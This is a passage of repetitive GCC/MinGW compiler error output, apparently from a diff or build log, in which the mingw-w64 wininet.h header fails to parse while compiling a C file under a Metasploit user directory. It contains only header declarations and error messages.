/home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:384:3: error: unknown type name ‘EXTERN_C’ + 384 | INTERNETAPI_(HINTERNET) InternetOpenUrlW(HINTERNET hInternet,LPCWSTR lpszUrl,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:384:3: error: expected ‘;’ before ‘HINTERNET’ + 384 | INTERNETAPI_(HINTERNET) InternetOpenUrlW(HINTERNET hInternet,LPCWSTR lpszUrl,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:384:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetOpenUrlW’ + 384 | INTERNETAPI_(HINTERNET) InternetOpenUrlW(HINTERNET hInternet,LPCWSTR lpszUrl,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:385:3: error: unknown type name ‘EXTERN_C’ + 385 | BOOLAPI InternetReadFile(HINTERNET hFile,LPVOID lpBuffer,DWORD dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:385:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 385 | BOOLAPI InternetReadFile(HINTERNET hFile,LPVOID lpBuffer,DWORD dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:385:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:386:3: error: unknown type name ‘EXTERN_C’ + 386 | INTERNETAPI_(WINBOOL) InternetReadFileExA(HINTERNET hFile,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:386:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 386 | INTERNETAPI_(WINBOOL) InternetReadFileExA(HINTERNET hFile,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:386:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:387:3: error: unknown type name ‘EXTERN_C’ + 387 | INTERNETAPI_(WINBOOL) InternetReadFileExW(HINTERNET hFile,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:387:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 387 | INTERNETAPI_(WINBOOL) InternetReadFileExW(HINTERNET hFile,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:387:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:399:3: error: unknown type name ‘EXTERN_C’ + 399 | INTERNETAPI_(DWORD) InternetSetFilePointer(HINTERNET hFile,LONG lDistanceToMove,PVOID pReserved,DWORD dwMoveMethod,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:399:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 399 | INTERNETAPI_(DWORD) InternetSetFilePointer(HINTERNET hFile,LONG lDistanceToMove,PVOID pReserved,DWORD dwMoveMethod,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:399:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:400:3: error: unknown type name ‘EXTERN_C’ + 400 | BOOLAPI InternetWriteFile(HINTERNET hFile,LPCVOID lpBuffer,DWORD dwNumberOfBytesToWrite,LPDWORD lpdwNumberOfBytesWritten); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:400:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 400 | BOOLAPI InternetWriteFile(HINTERNET hFile,LPCVOID lpBuffer,DWORD dwNumberOfBytesToWrite,LPDWORD lpdwNumberOfBytesWritten); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:400:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:401:3: error: unknown type name ‘EXTERN_C’ + 401 | BOOLAPI InternetQueryDataAvailable(HINTERNET hFile,LPDWORD lpdwNumberOfBytesAvailable,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:401:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 401 | BOOLAPI InternetQueryDataAvailable(HINTERNET hFile,LPDWORD lpdwNumberOfBytesAvailable,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:401:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:402:3: error: unknown type name ‘EXTERN_C’ + 402 | BOOLAPI InternetFindNextFileA(HINTERNET hFind,LPVOID lpvFindData); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:402:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 402 | BOOLAPI InternetFindNextFileA(HINTERNET hFind,LPVOID lpvFindData); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:402:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:403:3: error: unknown type name ‘EXTERN_C’ + 403 | BOOLAPI InternetFindNextFileW(HINTERNET hFind,LPVOID lpvFindData); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:403:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 403 | BOOLAPI InternetFindNextFileW(HINTERNET hFind,LPVOID lpvFindData); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:403:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:404:3: error: unknown type name ‘EXTERN_C’ + 404 | BOOLAPI InternetQueryOptionA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:404:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 404 | BOOLAPI InternetQueryOptionA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:404:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:405:3: error: unknown type name ‘EXTERN_C’ + 405 | BOOLAPI InternetQueryOptionW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:405:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 405 | BOOLAPI InternetQueryOptionW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:405:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:406:3: error: unknown type name ‘EXTERN_C’ + 406 | BOOLAPI InternetSetOptionA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:406:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 406 | BOOLAPI InternetSetOptionA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:406:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:407:3: error: unknown type name ‘EXTERN_C’ + 407 | BOOLAPI InternetSetOptionW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:407:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 407 | BOOLAPI InternetSetOptionW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:407:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:408:3: error: unknown type name ‘EXTERN_C’ + 408 | BOOLAPI InternetSetOptionExA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:408:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 408 | BOOLAPI InternetSetOptionExA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:408:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:409:3: error: unknown type name ‘EXTERN_C’ + 409 | BOOLAPI InternetSetOptionExW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:409:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 409 | BOOLAPI InternetSetOptionExW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:409:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:410:3: error: unknown type name ‘EXTERN_C’ + 410 | BOOLAPI InternetLockRequestFile(HINTERNET hInternet,HANDLE *lphLockRequestInfo); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:410:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 410 | BOOLAPI InternetLockRequestFile(HINTERNET hInternet,HANDLE *lphLockRequestInfo); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:410:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:411:3: error: unknown type name ‘EXTERN_C’ + 411 | BOOLAPI InternetUnlockRequestFile(HANDLE hLockRequestInfo); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:411:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 411 | BOOLAPI InternetUnlockRequestFile(HANDLE hLockRequestInfo); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:411:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:570:3: error: unknown type name ‘EXTERN_C’ + 570 | BOOLAPI InternetGetLastResponseInfoA(LPDWORD lpdwError,LPSTR lpszBuffer,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:570:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 570 | BOOLAPI InternetGetLastResponseInfoA(LPDWORD lpdwError,LPSTR lpszBuffer,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:570:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:571:3: error: unknown type name ‘EXTERN_C’ + 571 | BOOLAPI InternetGetLastResponseInfoW(LPDWORD lpdwError,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:571:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 571 | BOOLAPI InternetGetLastResponseInfoW(LPDWORD lpdwError,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:571:3: error: unknown type name ‘WINBOOL’ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:573:17: error: unknown type name ‘CALLBACK’ + 573 | typedef VOID (CALLBACK *INTERNET_STATUS_CALLBACK)(HINTERNET hInternet,DWORD_PTR dwContext,DWORD dwInternetStatus,LPVOID lpvStatusInformation,DWORD dwStatusInformationLength); + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:574:11: error: unknown type name ‘INTERNET_STATUS_CALLBACK’ + 574 | typedef INTERNET_STATUS_CALLBACK *LPINTERNET_STATUS_CALLBACK; + | ^~~~~~~~~~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:579:3: error: unknown type name ‘EXTERN_C’ + 579 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallback(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:579:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘INTERNET_STATUS_CALLBACK’ + 579 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallback(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:579:3: error: unknown type name ‘INTERNET_STATUS_CALLBACK’; did you mean ‘LPINTERNET_STATUS_CALLBACK’? +/usr/share/mingw-w64/include/wininet.h:582:3: error: unknown type name ‘EXTERN_C’ + 582 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallbackA(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:582:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘INTERNET_STATUS_CALLBACK’ + 582 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallbackA(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:582:3: error: unknown type name ‘INTERNET_STATUS_CALLBACK’; did you mean ‘LPINTERNET_STATUS_CALLBACK’? +/usr/share/mingw-w64/include/wininet.h:583:3: error: unknown type name ‘EXTERN_C’ + 583 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallbackW(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:583:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘INTERNET_STATUS_CALLBACK’ + 583 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallbackW(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:583:3: error: unknown type name ‘INTERNET_STATUS_CALLBACK’; did you mean ‘LPINTERNET_STATUS_CALLBACK’? +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:641:5: error: unknown type name ‘WINBOOL’ + 641 | WINBOOL fAccepted; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:642:5: error: unknown type name ‘WINBOOL’ + 642 | WINBOOL fLeashed; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:643:5: error: unknown type name ‘WINBOOL’ + 643 | WINBOOL fDowngraded; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:644:5: error: unknown type name ‘WINBOOL’ + 644 | WINBOOL fRejected; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:648:5: error: unknown type name ‘DWORD’ + 648 | DWORD dwCookieState; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:649:5: error: unknown type name ‘WINBOOL’ + 649 | WINBOOL fAllowSession; + | ^~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:672:3: error: unknown type name ‘EXTERN_C’ + 672 | INTERNETAPI_(HINTERNET) FtpFindFirstFileA(HINTERNET hConnect,LPCSTR lpszSearchFile,LPWIN32_FIND_DATAA lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:672:3: error: expected ‘;’ before ‘HINTERNET’ + 672 | INTERNETAPI_(HINTERNET) FtpFindFirstFileA(HINTERNET hConnect,LPCSTR lpszSearchFile,LPWIN32_FIND_DATAA lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:672:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘FtpFindFirstFileA’ + 672 | INTERNETAPI_(HINTERNET) FtpFindFirstFileA(HINTERNET hConnect,LPCSTR lpszSearchFile,LPWIN32_FIND_DATAA lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:673:3: error: unknown type name ‘EXTERN_C’ + 673 | INTERNETAPI_(HINTERNET) FtpFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszSearchFile,LPWIN32_FIND_DATAW lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:673:3: error: expected ‘;’ before ‘HINTERNET’ + 673 | INTERNETAPI_(HINTERNET) FtpFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszSearchFile,LPWIN32_FIND_DATAW lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:673:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘FtpFindFirstFileW’ + 673 | INTERNETAPI_(HINTERNET) FtpFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszSearchFile,LPWIN32_FIND_DATAW lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:674:3: error: unknown type name ‘EXTERN_C’ + 674 | BOOLAPI FtpGetFileA(HINTERNET hConnect,LPCSTR lpszRemoteFile,LPCSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:674:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 674 | BOOLAPI FtpGetFileA(HINTERNET hConnect,LPCSTR lpszRemoteFile,LPCSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:674:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:675:3: error: unknown type name ‘EXTERN_C’ + 675 | BOOLAPI FtpGetFileW(HINTERNET hConnect,LPCWSTR lpszRemoteFile,LPCWSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:675:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 675 | BOOLAPI FtpGetFileW(HINTERNET hConnect,LPCWSTR lpszRemoteFile,LPCWSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:675:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:676:3: error: unknown type name ‘EXTERN_C’ + 676 | BOOLAPI FtpPutFileA(HINTERNET hConnect,LPCSTR lpszLocalFile,LPCSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:676:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 676 | BOOLAPI FtpPutFileA(HINTERNET hConnect,LPCSTR lpszLocalFile,LPCSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:676:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:677:3: error: unknown type name ‘EXTERN_C’ + 677 | BOOLAPI FtpPutFileW(HINTERNET hConnect,LPCWSTR lpszLocalFile,LPCWSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:677:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 677 | BOOLAPI FtpPutFileW(HINTERNET hConnect,LPCWSTR lpszLocalFile,LPCWSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:677:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:678:3: error: unknown type name ‘EXTERN_C’ + 678 | BOOLAPI FtpGetFileEx(HINTERNET hFtpSession,LPCSTR lpszRemoteFile,LPCWSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:678:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 678 | BOOLAPI FtpGetFileEx(HINTERNET hFtpSession,LPCSTR lpszRemoteFile,LPCWSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:678:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:679:3: error: unknown type name ‘EXTERN_C’ + 679 | BOOLAPI FtpPutFileEx(HINTERNET hFtpSession,LPCWSTR lpszLocalFile,LPCSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:679:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 679 | BOOLAPI FtpPutFileEx(HINTERNET hFtpSession,LPCWSTR lpszLocalFile,LPCSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:679:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:680:3: error: unknown type name ‘EXTERN_C’ + 680 | BOOLAPI FtpDeleteFileA(HINTERNET hConnect,LPCSTR lpszFileName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:680:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 680 | BOOLAPI FtpDeleteFileA(HINTERNET hConnect,LPCSTR lpszFileName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:680:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:681:3: error: unknown type name ‘EXTERN_C’ + 681 | BOOLAPI FtpDeleteFileW(HINTERNET hConnect,LPCWSTR lpszFileName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:681:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 681 | BOOLAPI FtpDeleteFileW(HINTERNET hConnect,LPCWSTR lpszFileName); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:681:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:682:3: error: unknown type name ‘EXTERN_C’ + 682 | BOOLAPI FtpRenameFileA(HINTERNET hConnect,LPCSTR lpszExisting,LPCSTR lpszNew); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:682:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 682 | BOOLAPI FtpRenameFileA(HINTERNET hConnect,LPCSTR lpszExisting,LPCSTR lpszNew); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:682:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:683:3: error: unknown type name ‘EXTERN_C’ + 683 | BOOLAPI FtpRenameFileW(HINTERNET hConnect,LPCWSTR lpszExisting,LPCWSTR lpszNew); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:683:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 683 | BOOLAPI FtpRenameFileW(HINTERNET hConnect,LPCWSTR lpszExisting,LPCWSTR lpszNew); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:683:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:684:3: error: unknown type name ‘EXTERN_C’ + 684 | INTERNETAPI_(HINTERNET) FtpOpenFileA(HINTERNET hConnect,LPCSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:684:3: error: expected ‘;’ before ‘HINTERNET’ + 684 | INTERNETAPI_(HINTERNET) FtpOpenFileA(HINTERNET hConnect,LPCSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:684:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘FtpOpenFileA’ + 684 | INTERNETAPI_(HINTERNET) FtpOpenFileA(HINTERNET hConnect,LPCSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:685:3: error: unknown type name ‘EXTERN_C’ + 685 | INTERNETAPI_(HINTERNET) FtpOpenFileW(HINTERNET hConnect,LPCWSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:685:3: error: expected ‘;’ before ‘HINTERNET’ + 685 | INTERNETAPI_(HINTERNET) FtpOpenFileW(HINTERNET hConnect,LPCWSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:685:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘FtpOpenFileW’ + 685 | INTERNETAPI_(HINTERNET) FtpOpenFileW(HINTERNET hConnect,LPCWSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:686:3: error: unknown type name ‘EXTERN_C’ + 686 | BOOLAPI FtpCreateDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:686:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 686 | BOOLAPI FtpCreateDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:686:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:687:3: error: unknown type name ‘EXTERN_C’ + 687 | BOOLAPI FtpCreateDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:687:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 687 | 